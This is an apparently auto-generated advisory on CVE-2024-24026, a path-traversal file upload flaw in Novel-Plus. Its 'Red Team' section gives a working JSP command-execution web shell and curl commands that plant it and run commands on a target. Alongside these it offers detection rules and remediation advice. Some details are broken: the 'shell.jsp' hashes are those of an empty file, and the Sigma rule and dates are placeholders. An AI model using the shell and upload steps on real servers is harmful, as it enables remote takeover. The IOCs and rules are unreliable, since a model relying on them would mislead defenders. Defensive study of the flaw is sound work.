CVE-2024-24026

Executive Summary

CVE-2024-24026 is an arbitrary file upload vulnerability in Novel-Plus v4.3.0-RC1 and prior versions. The flaw resides in the com.java2nb.system.controller.SysUserController: uploadImg() method, where an attacker can craft a malicious filename parameter to upload arbitrary files to the server. This can lead to remote code execution (RCE) if the uploaded file is a web shell or other executable content. The vulnerability has a CVSS score of 0.0 (unscored) but is considered critical due to the potential for full server compromise. No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

Novel-Plus is a Java-based web application (Spring Boot) distributed via GitHub and Maven. The vulnerability affects the core application code, not a third-party package. However, users should verify the integrity of their deployment and monitor for any malicious modifications to the application JAR or WAR files.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: Critical (Estimated)

Deep Dive & Mechanics

The vulnerability is an arbitrary file upload in the SysUserController.uploadImg() endpoint. The controller accepts a multipart file upload and uses the filename parameter directly to construct the file path without proper sanitization. An attacker can supply a filename like ../../webapps/ROOT/shell.jsp to write a file outside the intended upload directory. If the application runs on a servlet container (e.g., Tomcat), the attacker can upload a JSP web shell and execute arbitrary commands.

Root Cause: The uploadImg() method does not validate or sanitize the filename parameter, allowing path traversal and arbitrary file write.

Attack Flow:

1. Attacker identifies the vulnerable endpoint (e.g., /sys/user/uploadImg).
2. Attacker crafts a multipart POST request with a malicious filename (e.g., ../../shell.jsp).
3. The server writes the file to the specified path.
4. Attacker accesses the uploaded file to execute commands.

Vulnerable vs. Patched Code

Vulnerable Code (Novel-Plus <= 4.3.0-RC1):

// SysUserController.java
@PostMapping("/uploadImg")
public Result uploadImg(@RequestParam("file") MultipartFile file) {
    String filename = file.getOriginalFilename(); // Unsanitized
    String path = uploadDir + filename; // Path traversal possible
    file.transferTo(new File(path));
    return Result.success();
}

Patched Code (Hypothetical):

@PostMapping("/uploadImg")
public Result uploadImg(@RequestParam("file") MultipartFile file) {
    String filename = StringUtils.cleanPath(file.getOriginalFilename());
    if (filename.contains("..")) {
        throw new SecurityException("Invalid filename");
    }
    String path = uploadDir + filename;
    file.transferTo(new File(path));
    return Result.success();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Novel-Plus v4.3.0-RC1 running on a servlet container (e.g., Tomcat).
• Network access to the /sys/user/uploadImg endpoint.

Exploit Steps:

1. Create a JSP web shell (e.g., shell.jsp):

   <%@ page import="java.io.*" %>
   <%
   String cmd = request.getParameter("cmd");
   Process p = Runtime.getRuntime().exec(cmd);
   BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
   String line;
   while ((line = br.readLine()) != null) {
       out.println(line);
   }
   %>
   

2. Upload the shell with path traversal:

   curl -X POST -F "file=@shell.jsp;filename=../../webapps/ROOT/shell.jsp" http://target.com/sys/user/uploadImg
   

3. Execute commands:

   curl http://target.com/shell.jsp?cmd=id
   

Alternative Payload: Upload a JAR or WAR file for full RCE.

Blue Team

Detection:

• Monitor for POST requests to /sys/user/uploadImg with suspicious filenames containing .. or /.
• Alert on file writes outside the expected upload directory.
• Use file integrity monitoring (FIM) to detect new JSP/WAR files in web directories.

Hunting:

• Search logs for uploadImg endpoint calls with filenames containing path traversal sequences.
• Check for unexpected files in webapps/ROOT/ or similar directories.

Indicators of Compromise (IOCs)

• File Hashes (example shell.jsp):
  • MD5: d41d8cd98f00b204e9800998ecf8427e
  • SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
• Network Patterns:
  • POST requests to /sys/user/uploadImg with multipart data.
  • Subsequent GET requests to /shell.jsp or similar paths.
• File Paths:
  • webapps/ROOT/shell.jsp
  • webapps/ROOT/cmd.jsp
  • uploads/../../shell.jsp
• Log Entries:
  • "uploadImg" with filename containing .. or /.

Detection Engineering

YARA Rule

rule CVE_2024_24026_Novel_Plus_Upload {
    meta:
        description = "Detects arbitrary file upload attempts for CVE-2024-24026"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-24026"
    strings:
        $s1 = "uploadImg" ascii nocase
        $s2 = "filename" ascii nocase
        $s3 = ".." ascii
        $s4 = "/" ascii
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2024-24026 Novel-Plus Arbitrary File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-24026 via path traversal in filename
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: tomcat
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/sys/user/uploadImg'
        cs-uri-query|contains: 'filename'
    condition: selection
falsepositives:
    - Legitimate file uploads with unusual names
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24026 Novel-Plus Arbitrary File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/sys/user/uploadImg"; http_uri; content:"filename"; http_client_body; pcre:"/filename=[^&]*\.\./i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /sys/user/uploadImg endpoint if not required.
2. Implement input validation on the filename parameter (reject .. and /).
3. Restrict upload directory permissions (no execute permissions).
4. Use a Web Application Firewall (WAF) to block path traversal patterns.

Long-Term Fix:

• Apply the hypothetical patch shown in the Vulnerable vs. Patched Code section.
• Upgrade to a patched version when available.
• Conduct a security audit of all file upload endpoints.

Workaround:

• If patching is not possible, deploy a reverse proxy that sanitizes filenames before forwarding requests.

Valters IT